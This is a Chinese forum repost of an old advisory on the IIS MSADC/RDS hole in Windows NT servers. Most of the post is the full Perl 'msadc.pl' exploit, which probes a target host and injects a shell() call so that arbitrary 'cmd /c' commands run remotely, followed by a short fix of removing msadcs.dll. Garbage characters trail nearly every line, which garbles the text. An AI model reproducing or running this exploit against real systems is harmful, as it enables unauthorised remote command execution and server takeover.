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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) k |3(dXLG  
[ 5W#1 &  
涉及程序: r.b6E%D  
Microsoft NT server Kk>qgi$  
!t Oky  
描述: `b")Bx|  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 (?BgT i\  
1MI7l)D?  
详细: 0@K:Tq-mF  
如果你没有时间读详细内容的话,就删除: P"h\7V,d%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 'UVv(-  
有关的安全问题就没有了。 (oitCIV  
n& m?BuG  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ^:!(jiH  
1m`tqlFU9  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 bo;pj$eR3R  
关于利用ODBC远程漏洞的描述,请参看: $SzCVWS  
@k+G Cf  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm S"^KJUUc  
I?Jii8|W9  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 DIqT>HHZ  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp L%K_.!d^  
Bdq"6SK>  
这里不再论述。 .x!7  
'<D`:srV  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: te*Y]-&I|/  
e#6&uFce  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset cF&h$4-  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! \+Rwm:lI  
g<iwxF  
jqGo-C~  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 5d?!<(e6  
{#*?S>DA  
#!perl 22/?JWL>  
# (Cl`+ V  
# MSADC/RDS 'usage' (aka exploit) script ]EM)_:tRf  
# &&9c&xgzE  
# by rain.forest.puppy :Q r7:$S^  
# OHP3T(Q5  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 7 xp1\j0  
# beta test and find errors! 0"kE^=  
3KG)6)1*  
use Socket; use Getopt::Std; ~f=6?5.wa  
getopts("e:vd:h:XR", \%args); {rb-DB-/5M  
zK>'tFU  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; n.a=K2H:V  
CFBUQMl >  
if (!defined $args{h} && !defined $args{R}) { ?|">),  
print qq~ {wp Mg  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 5S\][;u  
-h <host> = host you want to scan (ip or domain) /+4^.Q*  
-d <seconds> = delay between calls, default 1 second $ o5V$N D  
-X = dump Index Server path table, if available Lov.E3S6;  
-v = verbose 8)W?la8'p  
-e = external dictionary file for step 5 n~,]KdU]  
V/(`Ek-  
Or a -R will resume a command session 0r0\b*r  
Zr.\`mG4f  
~; exit;} *X=@yB*aK  
~ ^rey  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; =M1a0i|d  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Iuu<2#gb8"  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} *#Lsjk~_-  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); _@#uIOcE  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} o\@ A2r3  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } I 9{40_  
yfM>8"h@  
if (!defined $args{R}){ $ret = &has_msadc; 'ZGT`'ri  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Ei{(  
GhG%>U#&a  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" MPKpS3VS  
. "cmd /c "; @tr&R==([  
$in=<STDIN>; chomp $in; &TP:yA[  
$command="cmd /c " . $in ; zj~nnfoys  
~t{D5#LVHa  
if (defined $args{R}) {&load; exit;} Q$xa  
A~6%,q@^jh  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 'DCKD4@C/  
&try_btcustmr; .)i O Du  
~rgf{oGz  
print "\nStep 2: Trying to make our own DSN..."; aUypt(dv  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; a&$Zpf!!  
g(-;_j!=  
print "\nStep 3: Trying known DSNs..."; &K5C=]4  
&known_dsn; F5FNhuC  
qpb/g6g  
print "\nStep 4: Trying known .mdbs..."; h]kn%?fpmB  
&known_mdb; c=b+g+*xd  
u:_sTfKm&  
if (defined $args{e}){ A#v|@sul  
print "\nStep 5: Trying dictionary of DSN names..."; e1^fUOS  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 7))y}N:p  
+dqk 6RE  
print "Sorry Charley...maybe next time?\n"; ^~ Ekg:`  
exit; Ho|o,XvLv  
#d7N| 9_  
############################################################################## u|(Ux~O  
CTl(_g  
sub sendraw { # ripped and modded from whisker `%$8cZ-kr  
sleep($delay); # it's a DoS on the server! At least on mine... &}vR(y*#c  
my ($pstr)=@_; dv"as4~%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || Gx.P ]O3  
die("Socket problems\n"); f"vk# 3  
if(connect(S,pack "SnA4x8",2,80,$target)){ xLA~1ZSVJw  
select(S); $|=1; S4L-/<s[*  
print $pstr; my @in=<S>; MVeF e\r  
select(STDOUT); close(S); ^ Xm/  
return @in; ec`bz "1  
} else { die("Can't connect...\n"); }} HwB {8S?sm  
"Owct(9  
############################################################################## X6Un;UL  
$[[?;g  
sub make_header { # make the HTTP request *3;UAfHv  
my $msadc=<<EOT EbCIIMbe"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 As0 B\  
User-Agent: ACTIVEDATA }x]&L/  
Host: $ip },rav]  
Content-Length: $clen G;/Q>V  
Connection: Keep-Alive w"{bp  
o*X]b]  
ADCClientVersion:01.06 doBNghS  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 2R~6<W+&:>  
M~als3  
--!ADM!ROX!YOUR!WORLD! I6+2>CUGo  
Content-Type: application/x-varg ^ pj>9%  
Content-Length: $reqlen uG;?vvg>  
0x\2 #i  
EOT 'fIHUw|  
; $msadc=~s/\n/\r\n/g; wtSvJI~o)  
return $msadc;} D z@1rc<B  
fmFzW*,E  
############################################################################## k=?^){[We  
dXl]Pe|v  
sub make_req { # make the RDS request T tPr)F|  
my ($switch, $p1, $p2)=@_; IK'F{QPH  
my $req=""; my $t1, $t2, $query, $dsn; RwW$O@0  
L=RGL+f1 _  
if ($switch==1){ # this is the btcustmr.mdb query UgC)7 K1  
$query="Select * from Customers where City=" . make_shell(); s O=4IBE  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . X]!D;7^  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} ^2E hlK^)  
l xe`u}[  
elsif ($switch==2){ # this is general make table query !4t`Hv?'  
$query="create table AZZ (B int, C varchar(10))"; .#0H{mk  
$dsn="$p1";} pA.._8(t  
3V}(fnv  
elsif ($switch==3){ # this is general exploit table query ePEe?o4;  
$query="select * from AZZ where C=" . make_shell(); n?:2.S.8  
$dsn="$p1";} )Q]w6he3  
+Rqbf  
elsif ($switch==4){ # attempt to hork file info from index server )t%h[0{{  
$query="select path from scope()"; h=6xZuA\  
$dsn="Provider=MSIDXS;";} :H?f*aw  
&RW`W)0;  
elsif ($switch==5){ # bad query _{$fA6C  
$query="select"; ;1`!wG-DD  
$dsn="$p1";} < bFy(+  
59 <hV?  
$t1= make_unicode($query); 1`JB)9P  
$t2= make_unicode($dsn); OPuj|%Wgw  
$req = "\x02\x00\x03\x00"; ^H3m\!h  
$req.= "\x08\x00" . pack ("S1", length($t1)); rslvsS:  
$req.= "\x00\x00" . $t1 ; MDHb'<o?y  
$req.= "\x08\x00" . pack ("S1", length($t2)); Ie@Jb{ x  
$req.= "\x00\x00" . $t2 ; ETfF5i}  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ]-:6T0JuS  
return $req;} ^m%52Tm h  
ORBxD"J&  
############################################################################## fx)KNm8Lx  
?3q@f\fZ  
sub make_shell { # this makes the shell() statement V_"f|[1  
return "'|shell(\"$command\")|'";} }pawIf4V  
0%<+J;'o  
############################################################################## :q (&$  
{eQWO.C{  
sub make_unicode { # quick little function to convert to unicode f%XJ;y\,9H  
my ($in)=@_; my $out; S^N {wZo  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } OlY$ v@|  
return $out;} 89H sPB1"t  
{^mKvc  
############################################################################## {C")#m-0  
pRi<cO  
sub rdo_success { # checks for RDO return success (this is kludge) $1Z6\G O  
my (@in) = @_; my $base=content_start(@in); "=A>}q@;H  
if($in[$base]=~/multipart\/mixed/){ EzpFOqJG  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ho.(v;  
return 0;} gU;&$  
%8r/oS  
############################################################################## _<*Hv*Zm  
6F|j(LB  
sub make_dsn { # this makes a DSN for us gzdG6"  
my @drives=("c","d","e","f"); ;Vu5p#,O<M  
print "\nMaking DSN: "; lV6dm=k  
foreach $drive (@drives) { mL yBm  
print "$drive: "; $,27pkwHeW  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . lzhqcL"  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" KzO,*M  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); XP3x Jm3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; NM#- Af*pg  
return 0 if $2 eq "404"; # not found/doesn't exist Q(Gl{#b  
if($2 eq "200") { 2+Rv{%  
foreach $line (@results) { 9 OT,TpA  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} ~*.-  
} return 0;} 3EK9,:<Cf  
09h.1/  
############################################################################## L'Q<>{;Ig  
szmmu*F,U:  
sub verify_exists { !3 qVB  
my ($page)=@_; _$s> c!t,#  
my @results=sendraw("GET $page HTTP/1.0\n\n"); iG<Som  
return $results[0];} ,"2TArC'z  
p $`92Be/  
############################################################################## z(13~38+  
$8~e}8dt|  
sub try_btcustmr { h2Bz F  
my @drives=("c","d","e","f"); 7h9U{4r: M  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Hi}RZMr1  
p&b5% 4P  
foreach $dir (@dirs) { quxdG>8  
print "$dir -> "; # fun status so you can see progress t^tmz PWA  
foreach $drive (@drives) { jp2Q 9Z  
print "$drive: "; # ditto Ea $aUORm  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; PoSpkJH  
$reqlenlen=length( "$reqlen" ); OF U/gaO~  
$clen= 206 + $reqlenlen + $reqlen; (5Nv8H8|  
/j2H A^GT  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ]d}0l6  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} w3T]H_V  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} r' Z3  
`Ityi}  
############################################################################## 5@~|*g[  
'@nbqM  
sub odbc_error { {FO$yw=>  
my (@in)=@_; my $base; zg)sd1@  
my $base = content_start(@in);  ;q>9W,jy  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this V@-)\RZm  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ]; $] G-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 5e8AmY8;  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; SGL|Ck  
return $in[$base+4].$in[$base+5].$in[$base+6];} rVnd0K  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; _ QOZ sEe  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . f9$xk|2g  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 8 .>/6M  
yY).mxRN  
############################################################################## + kK  
I^\&y(LJF  
sub verbose { /#NYi,<{X  
my ($in)=@_; o`S ?  
return if !$verbose; h&&6r\4/|  
print STDOUT "\n$in\n";} 5Qwh(C^H  
] y{WD=T  
############################################################################## ZD/jX_!t  
|KI UgI  
sub save { 8 )*2@-Rp  
my ($p1, $p2, $p3, $p4)=@_; Y*oDO$6  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; SMr13%KN/  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; >r@.F%  
close OUT;} K kW;-{c  
$lA V6I.  
############################################################################## k*rZ*sSp  
:'L2J  
sub load { UB`ToE|Ii  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 6Q&r0>^{  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); `$LWmm#  
@p=<IN>; close(IN); X r63?N  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); /&#XhrT  
$target= inet_aton($ip) || die("inet_aton problems"); POI.]1i  
print "Resuming to $ip ..."; e1myH6$W  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; %.v{N6  
if($p[1]==1) { 1F8 W9b^D  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; .{KjEg 6  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; wFh8?Z3u_  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Am0{8 '  
if (rdo_success(@results)){print "Success!\n";} q#A(gyy  
else { print "failed\n"; verbose(odbc_error(@results));}} !rDdd%Z  
elsif ($p[1]==3){ 1LJuCI=~  
if(run_query("$p[3]")){ O%~jop7# 6  
print "Success!\n";} else { print "failed\n"; }} {#P `^g  
elsif ($p[1]==4){ /^{BUo  
if(run_query($drvst . "$p[3]")){ G0 J4O!3  
print "Success!\n"; } else { print "failed\n"; }} V3;.{0k  
exit;} 5Z/GK2[HL  
0 S_':r   
############################################################################## c}*2$1  
XIo55*  
sub create_table { anw}w !@U  
my ($in)=@_; p9U?!L!y  
$reqlen=length( make_req(2,$in,"") ) - 28;  XY.5Rno4  
$reqlenlen=length( "$reqlen" ); W!blAkM%i  
$clen= 206 + $reqlenlen + $reqlen; 4to% `)]  
my @results=sendraw(make_header() . make_req(2,$in,"")); B_U{ s\VY  
return 1 if rdo_success(@results); .#u_#=g?  
my $temp= odbc_error(@results); verbose($temp); UtB6V)YI  
return 1 if $temp=~/Table 'AZZ' already exists/; 4h!f/aF'  
return 0;} 4H5pr  
(`>voi<^  
############################################################################## aSuM2  
[XRCLi}  
sub known_dsn { ^,F;M`[  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go FlfI9mm  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", - K%,^6  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", +uWDP .  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); I KtB;  
<^b7cOFQ  
foreach $dSn (@dsns) { & gJV{V5Ay  
print "."; qmTb-~  
next if (!is_access("DSN=$dSn")); S-31-Zjw  
if(create_table("DSN=$dSn")){ #j#_cImE  
print "$dSn successful\n"; +X`V|E,no  
if(run_query("DSN=$dSn")){ Q$obOEr2(  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ; Sd\VR  
print "Something's borked. Use verbose next time\n";}}} print "\n";} -[= drj9I  
pME{jD  
############################################################################## Wk:hFHs3  
9jN)I(^D6  
sub is_access { I/VxZ8T  
my ($in)=@_; Uie?9&3  
$reqlen=length( make_req(5,$in,"") ) - 28; n .!Ym X4  
$reqlenlen=length( "$reqlen" ); a$"ib  
$clen= 206 + $reqlenlen + $reqlen; a9n^WOJ6  
my @results=sendraw(make_header() . make_req(5,$in,"")); 9_\'LJ  
my $temp= odbc_error(@results); YY?a>j."a  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); GV)<Q^9  
return 0;} j-CnT)W<  
jENr>$$  
############################################################################## *Ype>x{  
hS[ yNwD  
sub run_query { f:g,_|JD$  
my ($in)=@_; vA$o~?a]/  
$reqlen=length( make_req(3,$in,"") ) - 28; r'CM  
$reqlenlen=length( "$reqlen" ); ZpUCfS)|&  
$clen= 206 + $reqlenlen + $reqlen; J--m[X  
my @results=sendraw(make_header() . make_req(3,$in,"")); $^&ig  
return 1 if rdo_success(@results); {_(\` >  
my $temp= odbc_error(@results); verbose($temp); mzQ`N}]T:  
return 0;} ]zO/A4  
6"c1;P!4   
############################################################################## 2tROT][J%  
IHgeQ F ~  
sub known_mdb { K:' q>D@  
my @drives=("c","d","e","f","g"); )CX4kPj  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \#68;)+=  
my $dir, $drive, $mdb; O62b+%~F  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; p8s:g~ W  
X1 ZgSs+i  
# this is sparse, because I don't know of many 1!pa;$L  
my @sysmdbs=( "\\catroot\\icatalog.mdb", +(uYwdcN  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", :'aAZegQY  
"\\system32\\certmdb.mdb", Soie^$ Y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b':|uu*/  
64-#}3zL  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 0&ByEN9 9  
"\\cfusion\\cfapps\\forums\\forums_.mdb", O D Ur  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", D>Gt]s  
"\\cfusion\\cfapps\\security\\realm_.mdb", OB ~X/  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", X(jVRr_m9  
"\\cfusion\\database\\cfexamples.mdb", %4 \OPw&  
"\\cfusion\\database\\cfsnippets.mdb", _C\[DR0n  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", _(m't n>   
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 3~e8bcb  
"\\cfusion\\brighttiger\\database\\cleam.mdb", @"T"7c?Cv  
"\\cfusion\\database\\smpolicy.mdb", K78rg/`  
"\\cfusion\\database\cypress.mdb", yqSs,vz  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", DF6c|  
"\\website\\cgi-win\\dbsample.mdb", UD~p'^.m_  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", *5<Sr q'  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" qyHZ M}/  
); #these are just eMRar<)+#*  
foreach $drive (@drives) { <8UYhGK  
foreach $dir (@dirs){ jlFk@:y4  
foreach $mdb (@sysmdbs) { EBtLzbj  
print "."; a?yMHb{F  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ %p&k5:4<"#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; b| SE<\  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ KYJjwXT28W  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $8l({:*q0  
} else { print "Something's borked. Use verbose next time\n"; }}}}} ,3I^?5  
:|o<SZ  
foreach $drive (@drives) { 5>J=YLq  
foreach $mdb (@mdbs) { .oEmU+  
print "."; -/ ]W+[  
if(create_table($drv . $drive . $dir . $mdb)){ Gu=STb  
print "\n" . $drive . $dir . $mdb . " successful\n"; ]a2W e`  
if(run_query($drv . $drive . $dir . $mdb)){ g~UUP4<$"  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ;M]C1!D9#  
} else { print "Something's borked. Use verbose next time\n"; }}}} +.RKi !  
} >pkT1Z&'  
sBv>E}*R  
############################################################################## 7^} Ll@  
QrApxiw  
sub hork_idx { &;LqF#ZL  
print "\nAttempting to dump Index Server tables...\n"; (]/9-\6(#  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ,2oF:H  
$reqlen=length( make_req(4,"","") ) - 28; z9W`FBg  
$reqlenlen=length( "$reqlen" ); 4E44Hzs  
$clen= 206 + $reqlenlen + $reqlen; 7j5f ;O^+  
my @results=sendraw2(make_header() . make_req(4,"","")); P#v*TD'  
if (rdo_success(@results)){ \yrisp#`  
my $max=@results; my $c; my %d; %iJ%{{f`  
for($c=19; $c<$max; $c++){ MH| ] \  
$results[$c]=~s/\x00//g; u6:pV.p  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; @1zQce>  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 3M5#4n\v$  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; -Xz?s  
$d{"$1$2"}="";} iE0ab,OF  
foreach $c (keys %d){ print "$c\n"; } sqx` ">R  
} else {print "Index server doesn't seem to be installed.\n"; }} :5GZ\Z8F  
v+6@ cC  
############################################################################## ? _\$  
;0ME+]`"3  
sub dsn_dict { >k']T/%  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); +@X5!S6  
while(<IN>){ Z?MoJ{.!?R  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; {Hr$wa~  
next if (!is_access("DSN=$dSn")); 3+MB5 T  
if(create_table("DSN=$dSn")){ ujW1+Oj=~  
print "$dSn successful\n"; y0v]N  
if(run_query("DSN=$dSn")){ A`O<6   
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { .AV)'j#6P  
print "Something's borked. Use verbose next time\n";}}} F?Ju?? O  
print "\n"; close(IN);} cIXwiC8t  
'NZGQeb K  
############################################################################## gG54:  
N#N0Q0W=  
sub sendraw2 { # ripped and modded from whisker jdeva t,&u  
sleep($delay); # it's a DoS on the server! At least on mine... "rXOsX\;  
my ($pstr)=@_; tXF]t   
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || B68H&h]D#'  
die("Socket problems\n"); n)8Yj/5  
if(connect(S,pack "SnA4x8",2,80,$target)){ oN[Th  
print "Connected. Getting data"; b|^I<7  
open(OUT,">raw.out"); my @in; _BnTv$.P  
select(S); $|=1; print $pstr; (.K\Jg'Y6j  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} " oy\_1|  
close(OUT); select(STDOUT); close(S); return @in; =4C}{IL  
} else { die("Can't connect...\n"); }} hJ%1   
y_F}s9wj  
############################################################################## jRkC/Lw  
.R 44$F  
sub content_start { # this will take in the server headers p5c8YfM  
my (@in)=@_; my $c; e xR^/|BR  
for ($c=1;$c<500;$c++) { /<)-q-W;  
if($in[$c] =~/^\x0d\x0a/){ DrS~lTf=>  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } Uv?'m&_  
else { return $c+1; }}} g: %9jf  
return -1;} # it should never get here actually ateUpGM QU  
5?u[XAE  
############################################################################## Xer@A;c  
s(@h 2:j  
sub funky { K6\` __mLf  
my (@in)=@_; my $error=odbc_error(@in); /dHs &SU,  
if($error=~/ADO could not find the specified provider/){ ayp b  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; \,W.0#D8v4  
exit;} &TN2 HZ-bJ  
if($error=~/A Handler is required/){ ,j9 80/  
print "\nServer has custom handler filters (they most likely are patched)\n"; gzfbzt}?  
exit;} oC dGQ7G}  
if($error=~/specified Handler has denied Access/){ DMgBcP  
print "\nServer has custom handler filters (they most likely are patched)\n"; eO5ktEoJ  
exit;}} &a~=b,  
?#[)C=p]z  
############################################################################## \d68-JS@~  
4^Qi2[w  
sub has_msadc { vb=CFV#  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 9{J?HFw*;  
my $base=content_start(@results); Ghv{'5w  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); _'iDF  
return 0;} 3A0_C?E  
eqzTQen8q  
######################## tjzA)/T,4  
\ XH@b6{  
r%MyR8'k]  
解决方案: -ut=8(6&  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll [!+D <Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 jeFN*r _  
`i4I!E  
拿出来充数 哈哈
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